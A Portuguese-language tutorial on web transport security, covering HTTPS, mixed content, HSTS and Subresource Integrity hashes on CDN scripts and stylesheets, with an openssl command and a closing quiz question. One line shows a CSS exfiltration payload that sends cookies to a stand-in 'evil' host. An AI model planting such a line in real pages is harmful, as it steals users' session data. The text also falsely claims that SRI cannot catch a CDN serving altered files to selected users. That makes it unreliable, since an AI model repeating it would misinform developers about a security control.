HTTPS e integridade de subrecursos

HTTPS criptografa os dados em trânsito e autentica o servidor. Sem HTTPS, invasores na mesma rede (Wi-Fi de uma cafeteria, ISP, agente estatal) podem ler cada byte e injetar conteúdo malicioso nas respostas. Os navegadores modernos marcam páginas HTTP como "Não seguro" e muitas interfaces (câmera, geolocalização, processos de serviço) se recusam a funcionar por HTTP.

Carregar recursos HTTP de uma página HTTPS é conteúdo misto. O navegador bloqueia imediatamente o conteúdo misto ativo (scripts, quadros incorporados, folhas de estilo) e emite um aviso sobre o conteúdo passivo (imagens). Carregue sempre cada recurso por HTTPS; use URLs relativas ao protocolo (//cdn.example.com) ou https:// absolutas.

A Segurança de Transporte Rigorosa do HTTP, por meio do cabeçalho de resposta Strict-Transport-Security, informa aos navegadores que recusem conexões HTTP futuras com seu domínio. Depois que HSTS é armazenado em cache, um invasor não consegue rebaixar um usuário para HTTP, mesmo estando em uma posição de intermediário.

Carregar scripts de CDN de terceiros é conveniente, mas arriscado — se o CDN for comprometido, um invasor poderá substituir o script por malware. A Integridade de Subrecursos (SRI) faz o navegador verificar o hash criptográfico do arquivo antes de executá-lo, recusando-se a executá-lo se o hash não corresponder.

Adicione um hash codificado em base64 de SHA-256/384/512 à tag de script: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. O navegador calcula o hash do arquivo baixado e se recusa a executá-lo quando há divergência.

Gere o hash com openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Ou use um complemento da ferramenta de compilação que emita o atributo de integridade automaticamente. A maioria dos CDN (jsdelivr, unpkg) exibe a tag SRI no trecho para copiar e colar.

O SRI exige que a resposta de origem cruzada permita a verificação da integridade por meio de CORS. Adicione crossorigin="anonymous" à tag e garanta que o CDN envie Access-Control-Allow-Origin. Sem isso, o navegador se recusa a verificar e o recurso não é carregado.

O atributo integrity pode conter vários hashes separados por espaços. Isso é útil durante uma transição de versão: liste os hashes das versões antiga e nova, e o navegador aceitará qualquer uma que o CDN disponibilizar. Evite mais de alguns hashes para manter o atributo legível.

O SRI também protege <link rel="stylesheet">. Um arquivo CSS comprometido é menos perigoso diretamente do que um script comprometido, mas background: url("//evil/log?cookie=...") ainda pode exfiltrar dados. Aplique SRI a cada recurso externo sempre que possível.

O SRI reduz o risco de comprometimento do CDN, mas não resolve todos os problemas: uma alteração de hash no CDN interrompe sua página até que você atualize o atributo integrity. Para bibliotecas críticas, hospede localmente o arquivo que revisou — isso elimina de uma só vez a necessidade de fixação pelo SRI e o risco da cadeia de fornecimento.

O SRI acrescenta um cálculo de hash por recurso — insignificante em equipamentos modernos, alguns microssegundos por quilobyte. A proteção contra ataques à cadeia de fornecimento supera em muito o custo. Não há motivo de desempenho para deixar de usar SRI ao carregar conteúdo de um CDN.

O SRI verifica bytes específicos — não protege contra um CDN que forneça um arquivo diferente para alguns usuários (direcionamento seletivo). Para obter a máxima garantia, combine SRI com HTTPS, HSTS, CSP e hospedagem local dos recursos mais críticos.

Contra o que o atributo integrity em uma tag de script protege?

HTTPS criptografa e autentica, HSTS impede ataques de rebaixamento e SRI verifica se arquivos de terceiros não foram adulterados. Adicione hashes de integridade (com crossorigin="anonymous") a cada script e folha de estilos externos de um CDN que você não controla. Para os recursos mais críticos, prefira hospedá-los localmente — eliminando completamente o risco da cadeia de fornecimento.